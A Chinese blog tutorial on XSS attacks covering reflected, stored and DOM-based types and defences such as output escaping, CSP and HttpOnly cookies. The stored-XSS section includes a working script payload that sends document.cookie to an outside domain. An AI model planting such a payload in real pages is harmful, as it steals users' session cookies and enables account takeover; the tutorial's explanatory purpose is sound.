XSS攻击详解

article/2025/9/23 9:52:36

本篇博客主要总结一下什么是XSS攻击,并且如何防范XSS攻击。
一、什么是XSS攻击
XSS攻击中文名称为:跨站脚本攻击XSS的重点不在于跨站,而在于脚本的攻击。
XSS攻击的工作原理:攻击者会在web页面中插入一些恶意的script代码。当用户浏览该页面的时候,那么嵌套在该页面的代码就会执行,因此会达到攻击用户的目的。
XSS的分类XSS攻击最主要分为如下几类,反射型存储型DOM-based型反射型和DOM-based型可以归类于非持久性XSS攻击。存储型可以归类于持久性XSS攻击。
二、反射型XSS
反射型XSS攻击原理:攻击者发送给被攻击者一个邮件信息或者链接,当被攻击者点击并访问该链接时,此时就会向攻击者的目标服务器发起请求,此时根据请求返回相关的script代码,当浏览器解析这些script代码时,此时代码就会在浏览器执行,造成用户被攻击。
下面我们看一个小例子,模拟一下xss攻击。
在这里插入图片描述
在这里插入图片描述
上述就是一个简单的反射XSS攻击的例子。
当我们访问一个网站时,此时如果攻击者在该网站上设置了一个恶意连接,此时当我们点击该链接时,就会向攻击者服务器发起请求,返回对应的脚本,此时当浏览器加载该脚本文件时,就会出现token或者cookie等信息的泄漏。
三、存储XSS攻击
存储型XSS攻击是持久性攻击方式,因为该攻击的代码会提交到服务器中的数据中进行保存。此时我们可以看一个例子:比如说存在一个博客网站,每一个用户都可以在该博客网站上发表博客。此时当用户写入了一些js代码例如:

<script>window.open("http://www.fordldmc.com?params=" + document.cookie)</script>

此时如果不加处理,就会保存在服务器的数据库中,此时当其他用户访问该博客时,用户的浏览器就会执行这段script代码,此时本地的cookie就会发送到http://www.fordldmc.com这个网址上,造成cookie泄漏。攻击者就会拿到cookie冒充用户身份,登录账号。
如何解决呢?
预防存储XSS攻击:可以在后端做一些过滤,也可以在前端做一些转义特殊字符之类的。
四、DOM-based型XSS攻击
我们的客户端的js可以对DOM节点进行动态的操作,比如插入,修改页面的内容。比如说客户端从url中提取数据并且在本地执行,如果用户在客户端输入的数据包含了恶意的js脚本的话,但是这些脚本又没有做过任何过滤处理的话,那么我们的应用程序就有可能受到DOM-based XSS攻击,因此DOM型XSS攻击步骤如下。
1、攻击者构造出特殊的url,其中包含恶意代码。
2、用户打开带有恶意代码的url。
3、用户浏览器接收到响应后解析执行,前端取出恶意代码并执行。
4、恶意代码窃取用户数据并且发送到攻击者的网站,冒充用户的行为。
DOM-based xss和之前两种xss攻击的区别,DOM-based xss是前端的漏洞,但是前面两个是服务器的漏洞。
下面看一下简单案例:
在这里插入图片描述
五、XSS攻击的预防
关于前面我们知道了XSS攻击形成的存在两个原因,一个是攻击者提交恶意代码,另一个是浏览器执行恶意代码
5.1、输入过滤
针对第一种输入过滤,我们可以思考一下,如果我们在前端进行过滤,也就是当用户准备提交时进行过滤如何?肯定是不行的,如果在用户提交时在前端过滤,那么用户可能会不通过前端,而直接去请求接口,这样就无法阻止攻击者提交恶意代码。如果在代码在后端准备写入数据库中进行定义如何?答案也是不行的,举一个例子,如果我们提交5 < 7,此时如果在准备插入数据库进行ecapeHTML编码,此时就会编译成5 &lt; 7,此时当前端请求数据时,此时返回页面是5 < 7是没有问题的,但是如果在像vue这些框架中使用,则无法进行转义,任然显示5 &It; 7。所以输入过滤是不行的。但是对于一些特别的输入比如电话号码,邮箱地址等等信息可以使用输入过滤。此时我们应该将侧重点放在防止浏览器恶意执行代码
5.2、预防存储型和反射型 XSS 攻击
存储型和反射型XSS都是在服务端取出恶意代码,出入到相应HTML中的,攻击者可以编写数据被内嵌到代码中,被浏览器执行,所以为了预防这两个漏洞,采用的常见做法为:1、改为纯前端渲染,把代码和数据分开,2、对HTML做充分的转义
5.2.1、纯前端渲染
浏览器先加载一个静态 HTML,此 HTML 中不包含任何跟业务相关的数据。
然后浏览器执行 HTML 中的 JavaScript。
JavaScript 通过 Ajax 加载业务数据,调用 DOM API 更新到页面上。浏览器不会被轻易的被欺骗,执行预期外的代码了。
5.2.2、转义HTML
如果需要拼接HTML是必要的话,就需要采用合适的转义库,对HTML模板各处插入点进行充分的转义。常用的模板引擎,如 doT.js、ejs、FreeMarker 等,对于 HTML 转义通常只有一个规则,就是把 & < > " ’ / 这几个字符转义掉,确实能起到一定的 XSS 防护作用。
5.3、预防DOM型XSS攻击
DOM型XSS攻击,实际上就是网站前端javascript代码本身不够严谨,把不可信的数据当做代码执行了。在使用.innerHTML,.outerHTML,document.write()时要特别小心,不要把不可信的数据当做HTML插入到页面上,而应尽量使用.textContent.setAttribute
六、其他的XSS攻击
虽然在渲染页面和执行javascript时,通过谨慎的转义可以防止xss的发生,但完全依赖开发的严谨任然是不够的,以下介绍一些通用的方案,可以降低xss带来的风险和后果。
6.1、CSP
Content Security Policy:
严格的CSPXSS的防范中可以起到以下作用:

禁止加载外域代码,防止复杂的攻击逻辑。
禁止外域提交,网站被攻击后,用户的数据不会泄露到外域。
禁止内联脚本执行(规则较严格,目前发现 GitHub 使用)。
禁止未授权的脚本执行(新特性,Google Map 移动版在使用)。
合理使用上报可以及时发现 XSS,利于尽快修复问题。

6.2、输入内容长度控制

对于不受信任的输入,都应该限定一个合理的长度。虽然无法完全防止XSS发生,但可以增加xss攻击的难度。

6.3、其他安全措施

http-only cookie:禁止javascript读取某些敏感的cookie,攻击者完成xss注入后无法窃取此cookie.验证码:防止脚本冒充用户提交危险操作。

七、XSS攻击总结
1、XSS 防范是后端 RD 的责任,后端 RD 应该在所有用户提交数据的接口,对敏感字符进行转义,才能进行下一步操作。

上面描述是错误的,因为防范存储型和反射型xss是后端的责任,但是DOM型的xss不发生在后端而是前端的责任,防范xss是前端和后端共同的责任。
转义应该在输出HTML进行转义,而不是在提交用户输入时。

2、所有要插入到页面上的数据,都要通过一个敏感字符过滤函数的转义,过滤掉通用的敏感字符后,就可以插入到页面中。

不正确。 不同的上下文,如 HTML 属性、HTML 文字内容、HTML 注释、跳转链接、内联 JavaScript 字符串、内联 CSS 样式表等,所需要的转义规则不一致。 业务 RD 需要选取合适的转义库,并针对不同的上下文调用不同的转义规则。

http://chatgpt.dhexx.cn/article/Wd3uxqVJ.shtml

相关文章

XSS详解

XSS详解 1. 简介2. 跨站脚本实例3. XSS 的危害4. 分类4.1 反射型XSS&#xff08;非持久型&#xff09;漏洞成因攻击流程 4.2 存储型XSS&#xff08;持久型&#xff09;漏洞成因攻击流程 4.3 DOM型XSS漏洞成因 4.4 通用型XSS漏洞成因漏洞案例 4.5 突变型XSS漏洞成因攻击流程 5. …

XSS是什么?(Xmind配文详解)

一张图带你详解XSS &#xff08;话不多说上图&#xff09; 一、什么是 XSS XSS全称&#xff08;Cross Site Scripting&#xff09;跨站脚本攻击&#xff0c;是最常见的Web应用程序安全漏洞之一&#xff0c;位于OWASP top 10 2013/2017年度分别为第三名和第七名&#xff0c;X…

XSS详细讲解

XSS 1.XSS简介 &#xff08;1&#xff09;XSS简介 XSS作为OWASP TOP 10之一。 XSS中文叫做跨站脚本攻击&#xff08;Cross-site scripting&#xff09;&#xff0c;本名应该缩写为CSS&#xff0c;但是由于CSS&#xff08;Cascading Style Sheets&#xff0c;层叠样式脚本&am…

MySQL mysqldump数据导出详解

MySQL mysqldump数据导出详解 2016-04-07 11:14 pursuer.chen 阅读(357122) 评论(2) 编辑 收藏 举报 介绍 在日常维护工作当中经常会需要对数据进行导出操作&#xff0c;而mysqldump是导出数据过程中使用非常频繁的一个工具&#xff1b;它自带的功能参数非常多&#xff…

linux mysqldump 备份所有数据库,mysqldump导出所有数据库

Mysqldump工具的详细介绍 说明:mysqldump是数据库用来备份和数据转移的一个工具,一般在数据量很小的时候(几个G)可以用于备份。当数据量比较大的情况下,就不建议用mysqldump工具进行备份了;mysqldump是一个很好用的mysql数据转移工具,具有兼容强强、跨版本等特点; 一、数…

mysqldump实战-问题1

使用mysqldump导出数据时&#xff0c;遇到了一个权限问题(之前没报过这个提示) mysqldump: Error: Access denied; you need (at least one of) the PROCESS privilege(s) for this operation when trying to dump tablespaces 查看当前用户的权限&#xff1a; 解决方法&…

mysqldump 备份还原

Mysqldump Mysqldump客户端程序执行逻辑备份&#xff0c;可以生产一组SQL语句&#xff0c;这些语句可以执行重现原始数据库对象定义和表数据&#xff1b;它可以转存一个或多个数据库进行备份或者转移到其他数据库。Mysqldump命令也能生成csv文件或其他分隔符的文本&#xff0c…

mysqldump实战-问题2

在使用mysqldump 按条件导出数据的时候&#xff0c;发现导出的数据比直接在数据库查询数据变少了。 在数据库使用select count(*) from tablename where DATE_FORMAT(Inserted,%Y-%m-%d) 2022-12-13; 查到的数据是662条&#xff1b;然后使用mysqldump -uusr_name -pusr_pwd -…

MySQL 8.0 mysqldump 详解

作者公众号&#xff0c;欢迎一起交流。 mysqldump命令是MySQL自带的客户端程序&#xff0c;可用于对数据库进行备份&#xff0c;由于是逻辑备份&#xff0c;故可以看到备份的内容是有一系列的SQL语句组成&#xff0c;并可根据实际情况对备份内容进行修改。当然&#xff0c;使用…

mysqldump的使用简介

有时候要对线上数据进行操作&#xff0c; 需要提前备份下数据。 有时候需要将线上数据dump下来进行分析和验证。 来看下mysqldump的使用。 导出数据&#xff1a;mysqldump -h localhost -u root -p -P 17538 --single-transaction --databases taoge --tables x > x1.sql …

MySQL——使用mysqldump命令备份

使用mysqldump命令备份 mysqldump命令可以将数据库中的数据备份成一个文本文件。表的结构和表中的数据将存储在生成的文本文件中。本节将介绍mysqldump命令的工作原理和使用方法。 mysqldump命令的工作原理很简单。它先查出需要备份的表的结构&#xff0c;再在文本文件中生成…

网络安全——终端安全

背景 大中型企业桌面计算机数量众多,管理难度大,桌面安全问题突出。人们提起信息安全,往往把注意力集中在防火墙、防病毒、IDS、IPS、网络互连设备(Router、Switch)等的管理上,却忽略了对网络环境中的计算单元——桌面安全管理。 桌面安全,是传统网络安全防范体系的补…

网络安全防护体系建设

网络安全基本概念 网络安全&#xff08;Cyber Security&#xff09;是指网络系统的硬件、软件及其系统中的数据受到保护&#xff0c;不因偶然的或者恶意的原因而遭受到破坏、更改、泄露&#xff0c;系统连续可靠正常地运行&#xff0c;网络服务不中断&#xff0c;使网络处于稳…

网络安全体系

文章目录 1、安全体系2、安全服务3、安全机制4、安全标准5、安全目标 1、安全体系 ISo(国际标准化组织&#xff09;1989年制定的ISO/IEC 7489-2&#xff0c;给出了ISO/oSI参考模型的安全体系结构 在OSI参考模型中增设了安全服务、安全机制和安全管理&#xff0c;并给出了OSI网…

信息安全产品认证

文章目录 一、引言二、《网络关键设备和网络安全专用产品安全认证证书》2.1 背景2.2 产品目录2.3 认证依据标准2.4 认证机构2.5 《商密产品检测认证目录》与《网络关键设备和网络安全专用产品目录》的关系 三、《中国国家信息安全产品认证证书》3.1 背景3.2 产品目录3.3 行业跟…

中国网络安全产品分类及全景图

网络安全产品分类 一、网络安全&#xff1a; 防火墙入侵检测与防御网络隔离和单向导入防病毒网关上网行为管理网络安全审计VPN抗拒绝服务攻击网络准入 二、终端安全&#xff1a; 防病毒主机检测与审计安全操作系统主机/服务器加固 三、应用安全&#xff1a; Web应用防火墙…

浅谈网络安全产品的分类

不知道从什么时候开始&#xff0c;仙儿对分类一直很迷恋。看到一些莫衷一是的分类就会很抓狂&#xff0c;这可能是一种病吧。最近又犯病了&#xff0c;居然对网络安全产品的分类动了心思。用了两个晚上时间梳理了一下&#xff0c;总算是有个勉强可接受的结果。在此感谢启明星辰…

安全基础——常见网络安全产品

产品分类和发展趋势 安全产品&#xff1a; 端点安全&#xff1a;恶意软件防护、终端安全管理网络安全&#xff1a;安全网关、入侵检测与防御、网络监控与审计应用安全&#xff1a;web安全、数据库安全、邮件安全数据安全&#xff1a;数据治理、文件管理与加密、数据备份与恢复身…

linux如何获取root权限

如图&#xff1a;linux中常出现Permission denied 原因是因为权限不足 通常操作的命令是 chmod 777 文件夹路径 或者chmod 777 -R 路径/ 很不方便也不适合新手 这里介绍一种比较好的方法 命令行输入sudo passwd 这里会让你输入密码 这里你会发现$变成了#号 再次创建就成功…

Rook使用简介

Rook使用简介&#xff08;Ceph&#xff09; 1、简介 Rook是一个自管理的分布式存储编排系统&#xff0c;可以为Kubernetes提供便利的存储解决方案。Rook本身并不提供存储&#xff0c;而是在kubernetes和存储系统之间提供适配层&#xff0c;简化存储系统的部署与维护工作。目前…